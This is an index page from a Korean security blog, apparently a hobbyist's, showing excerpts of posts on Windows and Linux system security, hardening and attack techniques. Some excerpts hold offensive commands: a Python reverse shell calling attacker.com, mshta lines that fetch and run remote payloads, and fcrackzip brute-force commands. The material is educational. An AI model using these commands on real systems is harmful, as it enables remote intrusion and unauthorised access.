티스토리

HackLog

검색하기

블로그 홈

HackLog

janger.me/m

Talk is cheap, Show me the Code

구독자: 4

방명록 방문하기

728x90

주요 글 목록

시스템 보안 - Powershell 실행 정책 우회하는 15가지 방법 https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/ 15 Ways to Bypass the PowerShell Execution PolicyBy default, PowerShell is configured to prevent the execution of PowerShell scripts on Windows systems. In this blog I’ll cover 15 ways to bypass the PowerShell execution policy without having local administrator rights on .. 공감수 0 댓글수 0 2024. 4. 24.
시스템 보안 - SSH root 원격 접속 차단 정책 설정(/etc/ssh/sshd_config) SSH root 원격 접속 차단 정책 설정(/etc/ssh/sshd_config) 기존 "PermitRootLogin yes"를 "PermitRootLogin no"로 수정한다. # vim /etc/ssh/sshd_config # Authentication PermitRootLogin no 설정이 완료하였다면 서비스를 재시작한다. service ssh restart 정책을 설정하기 이전(PermitRootLogin yes) root@kali:~/Desktop# ssh root@localhost root@localhost's password: Linux kali 3.14-kali1-686-pae #1 SMP Debian 3.14.5-1kali1 (2014-06-07) i686 The programs inc.. 공감수 0 댓글수 0 2023. 11. 10.
시스템 보안 - 리눅스 커널 ASLR 메모리 보호 기법 설정(randomize_va_space) ASLR(Address Space Layout Randomization)이란? 메모리 공격을 방어하기 위해 주소 공간 배치를 난수 화하는 기법으로 실행 시마다 메모리 주소를 변경시켜 악성코드에 의한 특정주소 호출을 방지한다. 리눅스 ASLR 적용 (/proc/sys/kernel/randomize_va_space 수정) echo 0 > /proc/sys/kernel/randomize_va_space # ASLR 미설정 echo 1 > /proc/sys/kernel/randomize_va_space # ASLR 부분설정(heap만 미설정) echo 2 > /proc/sys/kernel/randomize_va_space # ASLR 모두설정(stack, heap, library 등) sysctl 명령어로 리눅.. 공감수 0 댓글수 1 2023. 11. 9.
시스템 보안 - EXE 파일 PE(Portable Executable) 구조 분석하기 PE(Portable Executable)이란? Windows 운영체제에서 실행되는 이진 파일 형식을 의미한다. 이 파일 형식은 Windows 운영체제에서 실행 가능한 프로그램, DLL, 드라이버 등에 포함된다. 리눅스에도 PE와 비슷한 파일 형식이 있으며 ELF(Executable and Linkable Format)라고 부른다. PE 파일 종류 1) 실행 계열 : EXE, SCR 2) 라이브러리 계열 : DLL, OCX, CPL, DRV 3) 드라이브 계열 : SYS, VXD 4) 오브젝트 파일 계열 : OBJ 사용 목적 프로그램을 사용하기 위해서는 메모리 공간에 적재가 되어야 한다. 이때 PE에는 메모리 공간의 어디 주소에 적재가 될지와 실행에 필요한 라이브러리 같은 정보들이 포함되어 있다. PE .. 공감수 0 댓글수 0 2023. 10. 7.
시스템 보안 - pwntools pwntools는 리눅스 환경에서 실행 프로그램의 익스플로잇을 작성하도록 도움을 주는 파이썬 라이브러리이다. CTF에서도 유용하게 사용될 수 있다. pip 설치 명령어 python3 -m pip install --upgrade pwntools 사용 예제 >>> conn = remote('ftp.ubuntu.com',21) >>> conn.recvline() # doctest: +ELLIPSIS b'220 ...' >>> conn.send(b'USER anonymous\r\n') >>> conn.recvuntil(b' ', drop=True) b'331' >>> conn.recvline() b'Please specify the password.\r\n' >>> conn.close() nc(NetCat), .. 공감수 0 댓글수 0 2023. 3. 25.
시스템 보안 - 윈도우 MSHTA(Microsoft HTML Application) 공격 command-line mshta.exe vbscript:Close(Execute("GetObject(""script:http://127.0.0.1:4444/payload.sct"")")) mshta.exe http://127.0.0.1:4444/payload.hta mshta.exe \\127.0.0.1\folder\payload.hta payload.hta (SCT payloads) 결과 HTA(HTML Application) 보는 것처럼 윈도우에 기본적으로 설치된 mshta.exe(Microsoft HTML Application)는 마치 웹 브라우저처럼 외부에 있는 웹 페이지를 요청하는 기능을 가지고 있다. 여기서 문제점은 여기에 내장된 브라우저가 인터넷 익스플로러 기반인지 ActiveXObject.. 공감수 0 댓글수 0 2023. 2. 7.
시스템 보안 - 실행 파일이 없는 우회 기법(파일리스 공격) "파일리스"라는 용어는 컴퓨터의 메모리에만 있는 백도어와 같은 위협이 파일에 제공되지 않음을 시사합니다. 파일리스 기법은 공격이 탐지되지 않거나 추적이 힘들다. 기본적으로 악성코드가 디스크에 파일 형태로 존재하지 않아 스캔 대상이 되지가 않는다. 2016년도부터 파워쉘이 활용이 된 파일리스 공격이 증가세를 보였다. 예제 1) LNK 파일을 이용한 파워셸 원 라이너 실행 화면에 clickme라는 이름의 문서 파일처럼 보이는 파일은 사실 LNK 파일이다. 파일의 속성을 살펴보면 파워셸이 실행되도록 등록돼 있는 것을 볼 수 있는데, 에디터를 이용해 파일의 내용을 자세히 살펴보면, 파워셸 원 라이너라는 것을 알 수 있다. [그림 7] clickme 문서로 보이는 LNK 파일 예제 2) 엑셀을 이용한 파워셸 원 .. 공감수 0 댓글수 0 2023. 2. 7.
시스템 보안 - 파이썬 리버스 쉘 스크립트 export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' 대부분의 유닉스 계열의 OS(리눅스, 맥os)에는 python2는 설치가 되어있는 경우가 많으니 별도의 설치 없이 명령어만으로 사용 가능하다. 출처: https://gtfobins.github.io/gtfobins/python/#reverse-shell python | GTFOBins Run socat file:`tt.. 공감수 0 댓글수 0 2023. 1. 25.
시스템 보안 - 메타스플로잇 msfvenom 리버스 쉘 제작 명령어 출처: https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/ MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter) Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. Learn More There are tons of cheatsheets out there, but I couldn’t find a comprehensive one that includes n… infinitelogins.com 윈도우 msfvenom -p windows/meterp.. 공감수 0 댓글수 0 2023. 1. 24.
시스템 보안 - EXE 확장자를 대체하는 확장자들(SCR, COM, BAT) .exe 형태의 실행 프로그램 말고도 .scr과 .com으로도 동일한 실행 결과를 가져올 수 있다. .scr .scr은 화면 보호기 즉 Windows Screensaver를 의미하지만 마찬가지로 포맷 종류가 실행 파일 형태라서 .exe 파일의 확장자를 .scr로 바꿔만 줘도 똑같이 실행이 잘 된다. 이를 악용하여 백신 프로그램이 .exe를 우선적으로 검사한다는 것을 우회하기 위해서 .scr을 대신 사용하는 멀웨어도 존재한다. .com .com은 DOS Command File으로 .scr과 마찬가지로 실행 파일 포맷을 가지고 있어서 .exe 파일을 .com으로 바꿔줘도 동일하게 실행된다. 원래는 DOS 환경에서 자주 사용되던 확장자이었다고 한다. 우리가 자주 사용하는 인터넷 도메인 ".com"과는 다른 것.. 공감수 0 댓글수 0 2022. 10. 7.
시스템 보안 - Jscript Jscript는 ECMA스크립트 표준에 기반을 둔 스크립팅 언어이기 때문에 Javascript과 문법이 똑같다. 게다가 둘 다 브라우저에서 실행시키는 스크립트 언어인 것도 동일하다. (Jscript: 마이크로소프트 개발, Javascript: 넷스케이프 개발) 하지만 둘이 같다고 할 수는 없는 게 Jscript는 시스템 내에 외부 프로그램을 실행시킬 수 있는 WScript(윈도우 스크립트 호스트)를 추가한 언어라는 점. 예시로 Jscript는 인터넷 익스플로러에서 쓰이는데(지금은 사용 중단했지만) 우리가 은행 사이트에 들어가게 되면 컴퓨터에 깔려있는 보안 프로그램과 상호작용을 하게 되는데 이게 WScript 덕분에 가능한 일이다. 가끔 윈도우에서 .js 파일을 확인하면 아래처럼 뭔가 아이콘도 있고 한데 .. 공감수 2 댓글수 0 2022. 10. 6.
시스템 보안 - 멀웨어 제로(Malware Zero) 무료 악성 코드 제거 도구 https://malzero.xyz/ Malware Zero - 무료 악성코드 제거 도구 악성코드 및 애드웨어 등 각종 유해 프로그램에 의한 고통에서 해방되기 위해 설치 없이 사용 가능한 무료 악성코드 제거 도구 malzero.xyz 멀웨어 제로는 악성코드 분석을 다루는 네이버 카페인 "바이러스 제로: 시큐리티 커뮤니티"에서 만든 무설치 악성 코드 제거 도구이다. 윈도우 전용이며, 신기하게 명령 프롬프트로 작동하는 방식이라 다른 실행파일(exe)은 설치할 필요가 없다. 자동 업데이트 기능이 존재하지 않기 때문에 필요할 때마다 공식 사이트에서 내려받아 사용해야 한다. 막 설치된 컴퓨터는 잘 모르겠는 데 사용한 지 오래된 내 컴퓨터로 멀웨어 제로를 돌리니깐 거의 2시간 정도 작업이 이루어졌다. 아마 폴더랑 .. 공감수 4 댓글수 1 2022. 9. 16.
시스템 보안 - Autorun Attack, USB, CD 저장 장치를 자동으로 실행시키는 텍스트 파일(Autorun.inf) "autorun.inf"은 Windows 계열에서 작동 가능한 파일이며 플로피디스크, CD, USB 같은 저장 장치를 컴퓨터 연결 시에 자동으로 프로그램을 실행시키는 기능을 가지고 있다. (그 외에도 저장장치의 아이콘이나 이름을 설정하는데도 사용됨) 주로 setup.exe 같은 설치 프로그램을 자동으로 실행시키는 목적으로 쓰인다. 당연하겠지만 바이러스를 실행시키는 일이 생겨나고부터는 Windows 7부터 기본적으로 USB는 자동 프로그램 실행 기능을 막아두었다. ⭐ 직접 해보기 [autorun] icon=icon.ico label=My USB open=setup.exe icon: 저장 장치에 표시될 아이콘 지정 label: 저장 장치에 표시될 이름 지정(한글은 깨진다) open: 저장 장치 연결 시에 자.. 공감수 0 댓글수 0 2022. 8. 26.
시스템 해킹 - 바이러스 검사해주는 사이트(VirusTotal) 주소 https://www.virustotal.com/gui/home/upload VirusTotal Analyse suspicious files and URLs to detect types of malware, automatically share them with the security community www.virustotal.com 바이러스 토탈은 구글의 자회사로, 바이러스나 웜 트로이 등을 검사하고 막는 사이트이다. 이 사이트는 여러 개의 백신 엔진으로 검사하여 그 결과를 투명하게 보여준다. 게다가 여러 개의 파일 검사도 가능하다. 파일형식에 따라 해당 파일을 분석한 결과를 보여주기도 한다. 가령 안드로이드용 어플리케이션 파일(APK 파일)을 올리면 권한, 액티비티, 서비스, 서명, 압축파일 속.. 공감수 0 댓글수 0 2022. 8. 24.
시스템 해킹 - TPM이란? TPM(Trusted Platform Module) TPM은 하드웨어적으로 여러 가지 보안 기능을 제공하기 위한 모듈이다. 백신과 다르게 소프트웨어가 아닌 하드웨어이기 때문에 공격자가 TPM을 조작하는 것이 거의 불가능하다. TPM에서는 암호화 키 생성기(RSA, SHA-1, 난수생성)를 통해서 암호화 키를 생성함과 동시에 이 키를 비휘발성 메모리에다가 안전하게 보관한다. 디스크 암호화 소프트웨어로 알려진 비트라커 또한 이 TPM에서 만들어진 암호화 키를 통해서 파일의 암호화, 복호화가 이루어진다. 내 PC에서 TPM을 지원하는지 확인하기 Windows 10 PC에 이미 TPM이 있는지 확인하려면 시작 > 설정 > 업데이트 및 보안 > Windows 보안 > 장치 보안으로 이동합니다. 이 섹션이 있는 경.. 공감수 0 댓글수 0 2022. 8. 21.
시스템 해킹 - 윈도우 로그인 단계를 우회하는 리눅스 USB 실제 사례와 원리 http://www.hanuribiz.com/news/articleView.html?idxno=7536 허술했던 보안이 원인…암호 무력화시킨 '리눅스 USB' 란? - 한우리경제 7급 공무원 시험 응시생의 정부서울청사 사무실에 침입해 성적조작하다 경찰에 체포된 사건으로 공무원 조직 뿐만아니라 전국민이 충격에 빠졌다. 단순 성적조작 범죄라기보다는 국가보안 관 www.hanuribiz.com 위 기사처럼 사용자 PC의 윈도우 로그인 단계를 우회하여 하드 안에 있던 중요한 자료를 조작한 사례가 있는데 이는 고도의 우회기술이라기 부르기는 애매한 그저 USB 메모리를 활용하는 리눅스의 라이브 USB를 이용한 공격 방식이다. 원래는 윈도우 운영체제에 의해서 로그인 단계를 거쳐야만 부팅이 완료되어 .. 공감수 0 댓글수 0 2022. 8. 21.
시스템 해킹 - zip 암호화 해제(Fcrackzip) 설치 apt install fcrackzip 무차별대입 공격과 사전 공격으로 zip을 암호화 해주는 도구입니다. fcrackzip -b -c a1 -l 1-12 -u al.zip -b: 브루트포스 옵션 -c: 문자 타입(a는 문자 조합, 1은 숫자 조합) -l: 문자 크기 -u: zip 파일 경로 fcrackzip -D -p dic.txt al.zip -D: 사전 공격 옵션 -p: 사전 파일 경로 그밖의 다양한 옵션들은 -h나 --help로 확인하시면 됩니다. 참고: https://tggg23.tistory.com/35 [Two Greedy] Frackzip 으로 암호화 압축풀기 가상으로 구축된 환경 외에 시도하는 것은 엄연히 불법입니다. 모든 책임은 개개인에게 있으니 조심해주세요 안녕하세요 Retain.. 공감수 0 댓글수 0 2022. 7. 24.

728x90

문의안내

티스토리
로그인
고객센터

티스토리는 카카오에서 사랑을 담아 만듭니다.